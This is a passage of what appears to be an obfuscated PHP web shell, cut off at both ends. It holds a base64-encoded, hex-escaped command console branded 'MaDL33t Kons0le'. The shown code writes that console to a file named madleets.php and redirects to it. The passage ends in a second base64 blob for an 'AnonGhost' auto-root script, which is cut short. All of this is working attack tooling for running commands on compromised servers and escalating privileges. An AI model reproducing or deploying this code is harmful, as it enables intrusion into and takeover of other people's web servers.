HgzOVx4MzkpLFx4MjBceDc0byhceDIzXHgzN1x4MzdceDM3KSkgXHgyMVx4NjltXHg3MFx4NmZyXHg3NGFudDtcblx0XHRceDYzb1x4NmNvcjogXHgyM1x4NDZceDQ2Rlx4M2Jcblx0XHQvLy13ZWJceDZiaXQtYm9yXHg2NGVceDcyLXJhXHg2NGlceDc1XHg3MzpceDM4cFx4NzhceDIwOFx4NzB4XHgyMDBceDcwXHg3OFx4MjAwcFx4Nzg7XG5cdFx0Ly8tXHg2ZFx4NmZ6LVx4NjJvXHg3Mlx4NjRceDY1ci1yYVx4NjRceDY5XHg3NVx4NzM6XHgyMFx4MzhwXHg3OCBceDM4XHg3MHggMFx4NzBceDc4IDBwXHg3OFx4M2Jcblx0XHRceDYyb3JkZVx4NzItXHg3MmFceDY0XHg2OXVzOiBceDM4cFx4NzggOFx4NzB4IFx4MzBceDcwXHg3OCAwXHg3MHhceDNiXG5cdFx0dGVceDc4XHg3NC1zaGFceDY0XHg2Znc6MXBceDc4XHgyMDFceDcweFx4MjBceDMycHhceDIwI1x4MzMzMzNceDMzMztcblx4MjAgXHgyMFx4MjAgXHgyMCAgb1x4NzBceDYxY1x4Njl0eTogXHgzMFx4MmVceDM1O1xuXHR9XG5cdFx4NzRhYlx4NmNceDY1IHtcblx0XHR3XHg2OWR0XHg2ODogXHgzNVx4MzZceDM1XHg3MHhceDNiXG5cdH1cblx0dGFceDYybFx4NjVceDIwXHg3NHJceDIwXHg3NGR7XG5cdFx0XHg2Nlx4NmZceDZlXHg3NC1ceDY2YW1ceDY5XHg2Y1x4Nzk6IFx4NzZceDY1XHg3MmRhbmE7XG5cdFx0XHg2Nm9uXHg3NC1zXHg2OXplOlx4MjBceDMxXHgzMVx4NzB4O1xuXHRcdHBhXHg2NGRceDY5XHg2ZWc6XHgyMFx4MzFceDMwXHg3MHhceDIwNXB4XHgzYlxuXHRcdFx4NjJvXHg3Mlx4NjRceDY1XHg3Mi1iXHg2Zlx4NzRceDc0b1x4NmQ6XHgyMFx4NzNvbGlkIDFwXHg3OFx4MjBceDIzXHg0M0NceDQzO1xuXHRcdFxuXHR9XG5cdCN3XHg3MmFwcGVceDcye1xuXHRcdHdceDY5ZHRoOiBceDM4XHgzMFx4MzBceDcwXHg3ODtcblx0XHRtXHg2MVx4NzJnaW46XHgyMFx4MzFceDMwXHg3MHhceDIwXHg2MVx4NzV0XHg2Zlx4M2Jcblx0XHRceDc0XHg2NXh0LWFsaWdceDZlOiBceDZjXHg2NVx4NjZceDc0O1xuICAgXHgyMFx4MjAgIFx4MjBiXHg2MWNrZ1x4NzJvdVx4NmVceDY0OiB1clx4NmMoJ2h0XHg3NFx4NzA6Ly9ceDMxXHgyZVx4NjJceDcwLmJsb2dceDczcFx4NmZ0XHgyZWNceDZmbS8tXHg3OGRYeVx4NTRDXHg1MFx4NjdceDZmXHg3NFx4NTUvXHg1NU84RmJ0WElceDZkXHgzMFx4NDkvXHg0MVx4NDFBQUFBQVx4NDFceDQyVlx4NGQvMlx4NzI1Z1x4NTVceDQ1XHg1YVx4NWFceDQxXHgzM2cvXHg3M1x4MzFceDM2MFx4MzAvXHg2NFx4NzJhXHgzMlx4MmVwXHg2ZWdceDI3KSBuby1ceDcyZVx4NzBlXHg2MXQgY2VceDZldFx4NjVyIFx4NjNceDY1blx4NzRceDY1ciBmXHg2OVx4NzhceDY1XHg2NDtcblx0fVxuXHRceDIzXHg2M1x4NmZceDZlc29ceDZjZXtcblx0XHRceDY4ZWlnXHg2OHQ6XHgyMFx4MzQ1XHgzMFx4NzB4O1xuXHRcdFx4NmZceDc2XHg2NXJmbFx4NmZceDc3Olx4MjBhXHg3NXRvXHgzYlxuXHRcdGJhXHg2M2tnclx4NmZceDc1XHg2ZWQtXHg2M29ceDZjb3I6IFx4MjMwXHgzMDA7XG5cdFx0cFx4NjFceDY0ZFx4NjluXHg2NzpceDIwMVx4MzVceDcwXHg3ODtcblx0XHRceDY2b1x4NmVceDc0LWZceDYxbVx4NjlceDZjeTogbW9ceDZlXHg2ZnNceDcwXHg2MVx4NjNceDY1XHgzYlxuXHRcdFx4NjZceDZmbnQtXHg3M1x4NjlceDdhXHg2NTpceDIwXHgzMVx4MzJwXHg3OFx4M2Jcblx0XHRceDYzXHg2Zlx4NmNvXHg3MjpceDIwXHgyM1x4NDZceDQ2XHg0Njtcblx0fVxuXHQuY1x4NmZceDZldFx4NjVudHtcblx0XHRwXHg2MWRceDY0aVx4NmVnOlx4MjAxNVx4NzBceDc4O1xuXHR9XG5cdCNceDYzb21tXHg2MW5ceDY0ZVx4NzJ7XG5cdFx0Ylx4NmZceDcyXHg2NGVceDcyOiBzb1x4NmNceDY5XHg2NFx4MjAxcHggI1x4NDNDXHg0Mztcblx0XHRwXHg2MWRkXHg2OW5nOiBceDM1cFx4NzhceDIwMVx4MzBceDcweFx4M2Jcblx0XHQtXHg3N2ViXHg2Yml0LVx4NjJceDZmcmRlXHg3Mi1yYWRceDY5dXM6XHgyMDJceDcwXHg3ODtcblx0XHQtXHg2ZFx4NmZ6LVx4NjJvXHg3MmRlci1ceDcyYWRpdVx4NzM6IDJceDcweDtcblx0XHRceDYyXHg2Zlx4NzJkXHg2NXItXHg3Mlx4NjFkaXVceDczOiAyXHg3MHg7XG5cdFx0bVx4NjFceDcyXHg2N1x4NjluOiBceDM1cFx4Nzg7XG5cdFx0XHg3N1x4NjlkdFx4Njg6IDU5XHgzMHB4O1xuXHRcdGhceDY1aWdodDogXHgzMzBweFx4M2Jcblx0fVxuXHQuXHg2Mlx4NmZceDc4e1xuXHRcdC1tb1x4N2EtXHg2Mlx4NmZceDc4LVx4NzNceDY4XHg2MWRceDZmdzogMXBceDc4IDFweCBceDM4XHg3MHhceDIwXHgyM1x4MzY2Nlx4M2Jcblx0XHQtd2VceDYya1x4Njl0LWJceDZmXHg3OC1zaFx4NjFceDY0b3c6XHgyMDFceDcwXHg3OCAxcHggOFx4NzB4XHgyMFx4MjM2XHgzNlx4MzZceDNiXG5cdFx0Ym9ceDc4LXNoYVx4NjRvXHg3NzogXHgzMVx4NzBceDc4XHgyMDFweCA4cFx4NzhceDIwI1x4MzQwRDVceDQ0Mjtcblx0XHRiXHg2Zlx4NzJceDY0XHg2NXI6IFx4NzNvbFx4NjlkIFx4MzFceDcweCBiXHg2Y1x4NjFceDYzaztcblx0XHQtXHg3N1x4NjVceDYyXHg2Yml0LVx4NjJvclx4NjRlci1yYVx4NjRpdVx4NzM6IFx4MzhwXHg3OFx4MjA4XHg3MHhceDIwMFx4NzB4XHgyMFx4MzBceDcweDtcblx0XHQtbW96LVx4NjJvcmRceDY1XHg3Mi1yYWRpdVx4NzM6XHgyMDhceDcwXHg3OFx4MjBceDM4cHhceDIwMFx4NzBceDc4IDBwXHg3ODtcblx0XHRib3JkZXItXHg3MmFceDY0aVx4NzVceDczOiA4cFx4NzhceDIwOFx4NzB4XHgyMFx4MzBceDcweFx4MjBceDMwcHg7XG5cdFx0XHg2ZGFyZ2lceDZlOiAxXHgzNVx4NzB4IFx4MzBceDcwXHg3ODtcblx0XHRceDYyYVx4NjNceDZiXHg2N3JceDZmdW5kLVx4NjNceDZmXHg2Y1x4NmZceDcyOlx4MjBceDIzRjVGNVx4NDZceDM1O1xuIFx4MjBceDIwXHgyMCAgIFx4MjBvcFx4NjFceDYzaXRceDc5OiBceDMwXHgyZTg7XG5cdH1cblx0XHgyM1x4NjhceDY1XHg2Y1x4NzB7XG5cdFx0d1x4NjlkdFx4Njg6XHgyMFx4MzMwMHB4XHgzYlxuXHRcdGZceDZjb2FceDc0OiByXHg2OWdceDY4XHg3NDtcblx0fVxuXHQuXHg3MHJceDY1XHg2NmlceDc4e1xuXHRcdGNceDZmXHg2Y29yOlx4MjBceDIzMDBceDM3N1x4NDVceDM3XHgzYlxuXHR9XG5cdFx4MmVrXHg2NVx4NzlceDc3XHg2Zlx4NzJceDY0e1xuXHRcdFx4NjNvbFx4NmZyOlx4MjAjOVx4NjVmXHg2NjZceDMzO1xuXHR9XG5cdC5ceDY1XHg3Mlx4NzJvcntcblx0XHRceDYzb1x4NmNceDZmcjogI0ZGXHgzMDBceDMwXHgzMDtcblx0fVxuXHQuc1x4NzBceDYxY1x4NjVye1xuXHRcdFx4NjNceDZjZWFceDcyOiBib3RoO1xuXHRcdFx4NjRpXHg3M1x4NzBceDZjYVx4Nzk6IGJsb1x4NjNrO1xuXHR9XG5ceDNjL3N0eWxceDY1PlxuXHgzY1x4NzNjclx4NjlwdFx4MjBceDc0eVx4NzBlXHgzZFx4MjJceDc0ZVx4Nzh0L2phXHg3NmFceDczY3JpcFx4NzRceDIyXHgzZVx4MjAgIFx4MjBcblxuXHQvL1x4MjBDb25maWdcblx0XHg3Nlx4NjFceDcyIGNceDZmXHg2ZVx4NjZpZ1x4NWZjb21ceDZkYW5kX1x4NzBceDcyZWZpeFx4MjA9XHgyMCciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJceDQxXHg0Y1MifVsidVx4NzNceDY2XHg3NVx4NjNsXHg3N3pceDcwIl19O2VjaG8gIic7XG5cdHZhciBceDYzXHg2Zm5ceDY2XHg2OVx4NjdceDVmXHg3N2VsXHg2M29ceDZkXHg2NSBceDNkXHgyMFx4MjciO2VjaG8keyR7Ilx4NDdceDRjXHg0Zlx4NDJBTFx4NTMifVsiXHg3Nlx4NzVceDZieXRceDcxdiJdfTtlY2hvICJceDI3XHgzYlxuXHRceDc2XHg2MVx4NzIgY29tbVx4NjFceDZlXHg2NF9ceDczdFx4NjFceDYzXHg2Ylx4MjA9IFx4NDFyXHg3Mlx4NjF5KCk7XG5cdHZhXHg3MiBjXHg2Zlx4NmRceDZkXHg2MW5kX1x4NzNceDc0YVx4NjNceDZiX1x4NzBvc2lceDc0aVx4NmZuIFx4M2QgMFx4M2JcblxuXHRcJChceDY0XHg2ZmN1XHg2ZGVudCkuXHg3MmVceDYxZHkoXHg2Nlx4NzVuY1x4NzRpXHg2Zm4oKSB7XG5cdFx4MjBceDIwXHgyMCBcJFx4MmVceDcwXHg2Zlx4NzN0KFx4MjIiO2VjaG8keyR7Ilx4NDdceDRjT1x4NDJBXHg0Y1MifVsiXHg2NFx4NmFceDZjc2JceDc5ZSJdfTtlY2hvICJcIixceDIwe1x4NjFjXHg3NGlvXHg2ZTpceDIwJ1x4NjlceDZlXHg2OVx4NzRceDI3fSwgXHg2NnVuXHg2M1x4NzRpb1x4NmUocmVceDczcFx4NmZceDZlc2Upe1xuXHRcdCAgIFx0dmFceDcyXHgyMGV4dHJceDYxXHgyMFx4M2QgcmVceDczXHg3MG9ceDZlc1x4NjUuXHg2NFx4NjFceDc0XHg2MS5ceDZjXHg2Zlx4NjdceDY3XHg2NVx4NjRpbiA/XHgyMFx4MjdceDIwXHg1Mlx4MjBceDc1IFx4NmRhXHg2NFx4MjA/XHgyMFx4MjdceDIwOiAnIFx4NzVceDczXHg2NVx4NzJceDZlYW1lOlx4MjA/XHgyN1x4M2Jcblx0ICAgIFx0XCQoXHgyMlx4MjNjb1x4NmVceDczXHg2ZmxceDY1XCIpLmh0bVx4NmMoXCQoXHgyMiNjXHg2Zm5zXHg2ZmxlXCIpXHgyZWh0XHg2ZFx4NmMoKVx4MjArIFwiPGJceDcyIC9ceDNlXCIgK1x4MjBjb25ceDY2XHg2OWdfY29ceDZkXHg2ZGFceDZlZFx4NWZwXHg3MmVmXHg2OXggKyBceDY1eHRceDcyYSlceDNiXG5cdFx4MjBceDIwXHgyMFx4MjBcdFwkKFx4MjIjXHg2M1x4NmZceDZkXHg2ZFx4NjFuXHg2NFx4NjVyXHgyMilceDJlYXR0XHg3MihceDI3ZGlceDczYWJsXHg2NWQnLCBceDY2YVx4NmNzZSk7XG5cdFx0XHQvLyBceDUzZXRceDIwZlx4NmZjdVx4NzMgXHg3NG8gXHg2M29ceDZkbVx4NjFceDZlZFx4NjVceDcyXHgyMFxuXHRceDIwXHgyMCAgXHRcJChcIlx4MjNjb21ceDZkYW5ceDY0XHg2NVx4NzJcIikuXHg2Nm9ceDYzXHg3NXMoKTtcblx0IFx4MjBceDIwXHgyMFx0XG5cdFx0fSwgXCJqc29uXCIpXHgzYlxuXHR9KTtcblxuXHRceDY2dVx4NmVjXHg3NFx4NjlceDZmblx4MjBleGVceDYzXHg3NVx4NzRlKFx4NjZpXHg2NWxkLGVceDc2ZVx4NmVceDc0KVx4MjB7XG5cdFx0dlx4NjFyIHRceDY4ZVx4NDNvZFx4NjVceDIwXHgzZCBceDY1dmVceDZlXHg3NC5rXHg2NVx4NzlDXHg2ZmRlXHgyMD8gXHg2NVx4NzZceDY1XHg2ZXRceDJla2VceDc5Q1x4NmZceDY0ZVx4MjA6XHgyMFx4NjVceDc2XHg2NW50LndceDY4aWNceDY4ID9ceDIwXHg2NVx4NzZceDY1XHg2ZVx4NzQuXHg3N1x4NjhceDY5Y1x4NjggOiBceDY1XHg3Nlx4NjVudC5ceDYzaFx4NjFyXHg0M1x4NmZceDY0XHg2NTtcblx0XHRpXHg2NihceDc0aFx4NjVDb2RlXHgyMFx4M2Q9IFx4MzNceDM4KXtcblx0XHRcdGlmKGNvXHg2ZG1hXHg2ZWRceDVmXHg3M1x4NzRceDYxXHg2M1x4NmJfcFx4NmZzXHg2OXRceDY5XHg2Zm4gXHgzZVx4MjBceDMwKVx4MjBjb1x4NmRceDZkXHg2MW5kX3N0YVx4NjNrXHg1Zlx4NzBceDZmc2lceDc0aVx4NmZceDZlLS1ceDNiXG5cdFx0XHRcJChceDIyXHgyM2NceDZmbVx4NmRhbmRlclx4MjIpXHgyZXZhbChjXHg2Zm1ceDZkXHg2MVx4NmVkX1x4NzNceDc0XHg2MVx4NjNrW1x4NjNceDZmbVx4NmRceDYxXHg2ZVx4NjRfXHg3M1x4NzRceDYxXHg2M2tceDVmcG9zaXRceDY5b1x4NmVdKVx4M2Jcblx0XHR9XHg2NVx4NmNceDczXHg2NSBceDY5ZihceDc0aFx4NjVDXHg2Zlx4NjRceDY1XHgyMD1ceDNkIFx4MzRceDMwKXtcblx0XHRcdFx4NjlmKGNceDZmbW1ceDYxbmRfXHg3M3RhXHg2M1x4NmJceDVmXHg3MG9ceDczaXRpb1x4NmUgXHgzY1x4MjAoY1x4NmZceDZkbWFceDZlXHg2NF9ceDczXHg3NFx4NjFceDYzay5sZW5ndFx4NjgtMSkpXHgyMGNceDZmbW1hXHg2ZWRfc1x4NzRceDYxXHg2M1x4NmJceDVmXHg3MFx4NmZceDczXHg2OXRpb24rKztcblx0XHRcdFwkKFx4MjIjXHg2M29ceDZkbVx4NjFceDZlZGVyXHgyMikuXHg3NmFceDZjKFx4NjNvbW1ceDYxblx4NjRceDVmXHg3M3RceDYxY2tbXHg2M29ceDZkbWFuXHg2NFx4NWZceDczdFx4NjFceDYzXHg2Yl9ceDcwb3NpdFx4Njlvbl0pXHgzYlxuXHRcdH1ceDY1bHNlIGlceDY2IChceDc0XHg2OGVceDQzXHg2ZmRceDY1XHgyMD1ceDNkIFx4MzEzKXtcblxuXHRcdFx0XHg3NmFyIFx4NjNvXHg2ZG1ceDYxXHg2ZVx4NjQgXHgzZFx4MjBcJChceDIyI1x4NjNceDZmXHg2ZFx4NmRceDYxbmRlclx4MjIpLnZhbCgpO1xuXHRcdFx0XCQoXHgyMlx4MjNjb21tXHg2MW5ceDY0ZXJceDIyKS52XHg2MWwoJycpXHgzYlxuXHRcdFx0Y29tbWFceDZlXHg2NF9ceDczdFx4NjFceDYzay5wXHg3NXNoKCBceDYzb21ceDZkYVx4NmVceDY0XHgyMCk7XG5cdFx0XHRceDYzb21ceDZkXHg2MW5ceDY0X1x4NzNceDc0YVx4NjNrX3BvXHg3M1x4NjlceDc0aW9uXHgyMFx4M2RceDIwKGNceDZmbW1ceDYxblx4NjRfXHg3M1x4NzRceDYxY2suXHg2Y1x4NjVceDZlZ1x4NzRoKVx4M2Jcblx0XHRcdFxuXHRcdFx0dlx4NjFceDcyXHgyMFx4NmNceDY5bmVzID1ceDIwXCQoXHgyMiNjXHg2Zm5ceDczXHg2Zlx4NmNceDY1XHgyMikuXHg2OHRceDZkbCgpXHgyZVx4NzRvXHg0Y1x4NmZ3XHg2NXJceDQzXHg2MVx4NzNceDY1KCkuXHg3M3BsaXQoXHgyN1x4M2NiXHg3Mj5ceDI3KTtcblx0XHRcdHZhXHg3Mlx4MjBsXHg2OW5ceDY1ID0gXHg2Y2lceDZlXHg2NXNbXHg2Y1x4NjluZXNceDJlXHg2Y2VuZ1x4NzRceDY4LTFdXHgzYlxuXG5cdFx0XHRpXHg2NihceDYzXHg2Zm1tXHg2MVx4NmVkLlx4NjluXHg2NFx4NjVceDc4T2YoXCJkXHg2Zlx4NzduXHg2Y29ceDYxXHg2NFx4MjIpIFx4M2UgLTEpe1xuXHRcdFx0XHRceDc2XHg2MVx4NzJceDIwXHg2NmlceDZjXHg2NVx4MjA9IFx4NjNvbVx4NmRhblx4NjQucmVwXHg2Y1x4NjFceDYzZSgnXHg2NFx4NmZ3bmxceDZmXHg2MWQgJywgJycpXHgzYlxuXHRcdFx0XHR3aVx4NmVkb3cuXHg2Y29ceDYzYVx4NzRceDY5XHg2Zm5ceDIwXHgzZFx4MjBceDI3IjtlY2hvJHskeXlxdGxlendxbX07ZWNobyAiP1x4NjZpbFx4NjU9JyArIGZpXHg2Y2VceDNiXG5cdFx0XHRcdHJlXHg3NFx4NzVybjtceDIwXG5cdFx0XHR9XG5cblx0XHRcdFx4NjlceDY2KFx4NjNceDZmbVx4NmRceDYxXHg2ZWRceDJlXHg2OVx4NmVceDY0XHg2NVx4NzhPZihceDIyY2xzXHgyMilceDIwPVx4M2RceDIwXHgzMCB8fFx4MjBjXHg2Zlx4NmRtYW5ceDY0LmluZGV4XHg0ZmYoXHgyMlx4NjNsXHg2NWFyXCIpID1ceDNkIDApe1xuXHRcdFx0XHRcJChceDIyXHgyM1x4NjNceDZmblx4NzNvXHg2Y2VceDIyKS5ceDY4dFx4NmRceDZjKFx4MjJcIilceDNiXG5cdFx0XHRcdFx4NzJceDY1dHVyXHg2ZVx4M2JceDIwXG5cdFx0XHR9XG5cdFx0XHRcblx0XHRcdFwkLlx4NzBvc1x4NzQoXCIiOyR7Ilx4NDdMXHg0Zlx4NDJceDQxTFMifVsiblx4NjdceDc3Ylx4NmRceDY3b1x4Nzd6eSJdPSJceDYzXHg2Zlx4NmVceDY2XHg2OVx4NjdfXHg2Nlx4NjlsXHg2NSI7ZWNobyR7JHsiXHg0N1x4NGNceDRmQkFMXHg1MyJ9WyJceDY0alx4NmNzXHg2MnllIl19OyRodnZxcWRuYmR0Zj0iXHg2M1x4NmZuXHg2Nlx4NjlceDY3X1x4NjNvXHg2ZFx4NmRhXHg2ZVx4NjRceDVmXHg3MFx4NzJlZlx4NjlceDc4IjtlY2hvICJceDIyLCB7XHg2MVx4NjNceDc0XHg2OW9uOiAnY1x4NmZtbWFceDZlZFx4MjcsXHgyMFx4NjNvXHg2ZG1hXHg2ZWQ6XHgyMGNceDZmbVx4NmRhXHg2ZWQsXHgyMGxceDY5XHg2ZVx4NjU6XHgyMFx4NmNpbmV9LFx4MjBmXHg3NVx4NmVceDYzdFx4NjlceDZmbihyZVx4NzNwXHg2Zlx4NmVceDczZSl7XG5cdFx0XHRcdGlceDY2KHJlc3BceDZmbnNceDY1LmNvXHg2NFx4NjVceDIwPVx4M2RceDIwXHgzMlx4MzBceDMwKXtcblx0XHRcdFx0XHRzXHg2OFx4NmZ3ID1ceDIwKFx4NzJceDY1c3BceDZmXHg2ZXNlXHgyZWRhdGEuXHg3Mlx4NjVzdWx0XHgyMFx4M2RceDNkXHgyMG51bGwpID9ceDIwXCJcIiA6XHgyMHJlXHg3M1x4NzBceDZmXHg2ZXNlLlx4NjRhdGEuclx4NjVceDczXHg3NVx4NmNceDc0XHgyMCtceDIwXCJceDNjYlx4NzJceDIwL1x4M2VceDIyXHgzYlxuXHRcdFx0XHRcdHJlc1x4NzVceDZjXHg3NFx4MjA9XHgyMFx4NjNvXHg2ZWZpXHg2N19ceDYzXHg2Zlx4NmRtYW5ceDY0XHg1ZnByZWZceDY5XHg3OFx4MjArXHgyMFwiIFx4MjIgK1x4MjByZVx4NzNwb1x4NmVzXHg2NS5ceDY0XHg2MXRhLlx4NjNceDZmXHg2Y29yX1x4NjNvbW1hXHg2ZVx4NjQgK1x4MjBceDIyPFx4NjJceDcyIC9ceDNlXHgyMiArIFx4NzNceDY4b3dceDNiXG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1IFx4NjlmKHJceDY1c3Bvblx4NzNceDY1LmNvZFx4NjUgXHgzZD1ceDIwXHgzMlx4MzJceDMwKXtcblx0XHRcdFx0XHR3XHg2OVx4NmVkb1x4NzcuXHg2Y29ceDYzXHg2MXRceDY5b1x4NmVceDIwXHgzZFx4MjAnIjtlY2hvJHskeyJceDQ3XHg0Y09CXHg0MVx4NGNTIn1bIlx4NmVceDY3d1x4NjJceDZkXHg2N1x4NmZceDc3enkiXX07ZWNobyAiXHgyNztcblx0XHRcdFx0fVx4NjVceDZjc2UgXHg2OVx4NjYoXHg3MmVceDczXHg3MG9uXHg3M2VceDJlY29ceDY0ZVx4MjA9XHgzZCBceDMzMTApe1xuXHRcdFx0XHRcdHJceDY1c1x4NzVsXHg3NFx4MjA9XHgyMFx4NzJceDY1c3BceDZmXHg2ZVx4NzNceDY1LmVyXHg3Mm9yICtceDIwXCI8XHg2Mlx4NzJceDIwL1x4M2VceDIyICtceDIwXHg2M29ceDZlXHg2NmlnX2NceDZmbVx4NmRceDYxXHg2ZWRceDVmcHJceDY1XHg2Nlx4NjlceDc4XHgyMCsgXCIgXHg3NXNlcm5hXHg2ZFx4NjU6ID9cIjtcblx0XHRcdFx0fVx4NjVceDZjc1x4NjVceDIwaVx4NjYoXHg3MmVceDczXHg3MG9ceDZlXHg3M2VceDJlXHg2M1x4NmZceDY0XHg2NVx4MjA9XHgzZCBceDMzMlx4MzApe1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M3VsdFx4MjBceDNkXHgyMGNceDZmXHg2ZWZpXHg2N1x4NWZceDc3XHg2NWxjXHg2Zm1lXHgyMCtceDIwXCJceDNjXHg2MnJceDIwLz5cIiArXHgyMGNceDZmbmZpZ19jb21tXHg2MW5kX3BceDcyZVx4NjZceDY5eCArIFwiIFx4MjJceDNiXG5cdFx0XHRcdH1ceDY1bHNceDY1IGlceDY2KHJceDY1XHg3M1x4NzBceDZmXHg2ZVx4NzNlLmNvXHg2NFx4NjVceDIwXHgzZFx4M2QgXHgzM1x4MzNceDMwKXtcblx0XHRcdFx0XHRyZXNceDc1XHg2Y3RceDIwXHgzZCByXHg2NXNwXHg2Zm5zXHg2NS5lcnJceDZmciArXHgyMFx4MjI8Ylx4NzIgL1x4M2VcIiArXHgyMGNceDZmbmZceDY5XHg2N19ceDYzb21tYVx4NmVkXHg1ZnByXHg2NWZceDY5eFx4MjArIFwiIHBceDYxc1x4NzN3XHg2Zlx4NzJceDY0OiA/XCI7XG5cdFx0XHRcdH1ceDY1XHg2Y1x4NzNceDY1XHgyMFx4NjlceDY2KFx4NzJlc3BceDZmXHg2ZXNceDY1XHgyZWNvZGVceDIwPT1ceDIwM1x4MzAwKXtcblx0XHRcdFx0XHRceDcyZXN1XHg2Y3QgPSBceDYzb25ceDY2XHg2OWdceDVmY29tbVx4NjFceDZlXHg2NF9ceDcwclx4NjVmXHg2OXggKyBcIlx4MjBceDcwXHg2MXNceDczd1x4NmZyXHg2NDpceDIwP1x4MjI7XG5cdFx0XHRcdH1lbHNle1xuXHRcdFx0XHRcdFx4NzJceDY1XHg3M1x4NzVsdFx4MjA9XHgyMFx4Mjc8c3BceDYxblx4MjBjbGFzc1x4M2RcImVceDcyclx4NmZyXHgyMlx4M2UnICtceDIwXHg3MmVzXHg3MFx4NmZuc2UuZXJyXHg2ZnIgK1x4MjBcIlx4M2MvXHg3M1x4NzBhbj48XHg2Mlx4NzIgL1x4M2VcIjtcblx0XHRcdFx0fVxuXHRcdFx0XHRcJChcIiNjb25ceDczb2xceDY1XHgyMilceDJlaFx4NzRtXHg2YyhcJChcIiNceDYzb1x4NmVceDczXHg2Zlx4NmNlXHgyMilceDJlXHg2OFx4NzRtXHg2YygpICsgJzxiXHg3MiAvXHgzZVx4MjcgK1x4MjByXHg2NXNceDc1bFx4NzRceDIwKS5ceDY2b1x4NjNceDc1cygpXHgzYlxuXG5cdFx0XHRcdHRleFx4NzRhcmVhZWxceDY1XHg2ZCBceDNkXHgyMFx4NjRvY1x4NzVtXHg2NW5ceDc0Llx4NjdlXHg3NEVceDZjXHg2NW1ceDY1bnRceDQyeVx4NDlceDY0KCdjXHg2Zlx4NmVzb1x4NmNceDY1XHgyNylceDNiXG5cdFx0XHRcdHRlXHg3OFx4NzRceDYxXHg3Mlx4NjVceDYxXHg2NWxceDY1XHg2ZFx4MmVceDczXHg2M1x4NzJceDZmXHg2Y1x4NmNceDU0XHg2Zlx4NzBceDIwPSB0ZVx4NzhceDc0YVx4NzJlXHg2MWVsZW1ceDJlXHg3M2Nyb1x4NmNceDZjSGVpZ1x4NjhceDc0O1xuXG5cdFx0XHRcdFwkKFwiXHgyM2NceDZmbVx4NmRceDYxXHg2ZWRceDY1XHg3MlwiKVx4MmVmXHg2ZmN1cygpXHgzYlxuXHRcdFx0XHRcblx0XHRcdH0sXHgyMFwiXHg2YXNvXHg2ZVwiKTtcblx0XHRcdFx4NzJceDY1XHg3NHVyXHg2ZVx4MjBceDY2XHg2MWxceDczZVx4M2Jcblx0XHR9ZVx4NmNzXHg2NXtcblx0XHRcdFx4NzJlXHg3NHVyXHg2ZVx4MjB0XHg3Mlx4NzVlXHgzYlxuXHRcdH1cblxuXHR9IFxuXG48L1x4NzNjcmlceDcwdFx4M2Vcblx0XG5ceDNjL2hceDY1YWQ+XG48XHg2Mm9ceDY0XHg3OVx4M2VcblxuPFx4NjRceDY5XHg3NiBpXHg2ND1cIndceDcyYXBceDcwZXJcIlx4M2Vcblx0XHgzY2RpXHg3Nlx4MjBceDYzbFx4NjFceDczcz1cImJceDZmXHg3OFwiXHgzZVxuXHRcdFx4M2NceDY4MT5ceDRkXHg2MVx4NDRMXHgzM1x4MzN0IEtvXHg2ZXMwbFx4NjU8L1x4NjhceDMxPlxuXHRcdDxkaVx4NzZceDIwXHg2OVx4NjRceDNkXHgyMlx4NjNvblx4NzNceDZmbGVceDIyXHgzZSI7ZWNobyR7JGh2dnFxZG5iZHRmfTtlY2hvICJceDIwTWFkTGVceDY1VHMgXHg2OVx4NzMgdGhceDY1XHgyMFx4NjZvclx4NzVtIFx4NjZvclx4MjBceDc0XHg2OFx4NjVceDIwTWFceDY0IFx4NmNvdlx4NjVyJ1x4NzNceDIwb2ZceDIwU2VjXHg3NXJceDY5dFx4NzlceDIwXHg2MW5kXHgyMFBlblx4NjV0XHg3MmFceDc0aW9uLlx4M2MvZGlceDc2PlxuXHRcdFx4M2NceDY5bnB1XHg3NFx4MjB0XHg2NVx4Nzh0PVx4MjJceDc0XHg2NVx4NzNceDc0XHgyMlx4MjBceDY5XHg2NFx4M2RceDIyXHg2M29ceDZkXHg2ZFx4NjFuZGVyXHgyMlx4MjBvbmtceDY1XHg3OXVwPVx4MjJceDY1eFx4NjVjdXRceDY1KFx4NzRoXHg2OVx4NzMsXHg2NVx4NzZlblx4NzQpXHgzYlx4MjJceDIwZGlzXHg2MVx4NjJsXHg2NWQ9XCJkaVx4NzNhYmxlXHg2NFwiXHgyMCBzdHlsXHg2NT1cIlx4NzdceDY5ZHRceDY4OjdceDM4XHgzNlx4NzB4O1x4MjIvXHgzZVxuXHQ8L2RpXHg3Nlx4M2Vcblx0XHgzY2RpXHg3NiBjXHg2Y2FzXHg3M1x4M2RceDIyc1x4NzBhY2VceDcyXHgyMj5ceDNjL2RceDY5dlx4M2VcbjwvXHg2NGl2XHgzZVxuXG48L2JvXHg2NHk+XG48L1x4NjhceDc0XHg2ZGxceDNlXG5cblxuXG4iOwogPz4K';
1614 $file = fopen("madleets.php","w");
1615 $write = fwrite ($file ,base64_decode($madleets));
1616 fclose($file);
1617 header("location:madleets.php"); }
1618 if(isset($_POST['rooter'])){
1619 $rooter = 'cHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwpwcmludCAiICAgICAgICAgQW5vbkdob3N0IFNtNHNoIGF1dG8gcjAwdCAgICAgICAgICBcbiI7CnByaW50ICIgICAgICAgICAgICAgICAgIDIwMDUgLSAyMDEzICAgICAgICAgICAgICAgIFxuIjsKcHJpbnQgIiAgICAgX19fX19fXyAgX19fX19fXyAgX19fX19fXyBfX19fX19fX18gICAgXG4iOwpwcmludCAiICAgICggIF9fX18gKSggIF9fICAgKSggIF9fICAgKVxfXyAgIF9fLyAgICBcbiI7CnByaW50ICIgICAgfCAoICAgICl8fCAoICApICB8fCAoICApICB8ICAgKSAoICAgICAgIFxuIjsKcHJpbnQgIiAgICB8IChfX19fKXx8IHwgLyAgIHx8IHwgLyAgIHwgICB8IHwgICAgICAgXG4iOwpwcmludCAiICAgIHwgICAgIF9fKXwgKC8gLykgfHwgKC8gLykgfCAgIHwgfCAgICAgICBcbiI7CnByaW50ICIgICAgfCAoXCAoICAgfCAgIC8gfCB8fCAgIC8gfCB8ICAgfCB8ICAgICAgIFxuIjsKcHJpbnQgIiAgICB8ICkgXCBcX198ICAoX18pIHx8ICAoX18pIHwgICB8IHwgICAgICAgXG4iOwpwcmludCAiICAgIHwvICAgXF9fLyhfX19fX19fKShfX19fX19fKSAgIClfKCAgICAgICBcbiI7C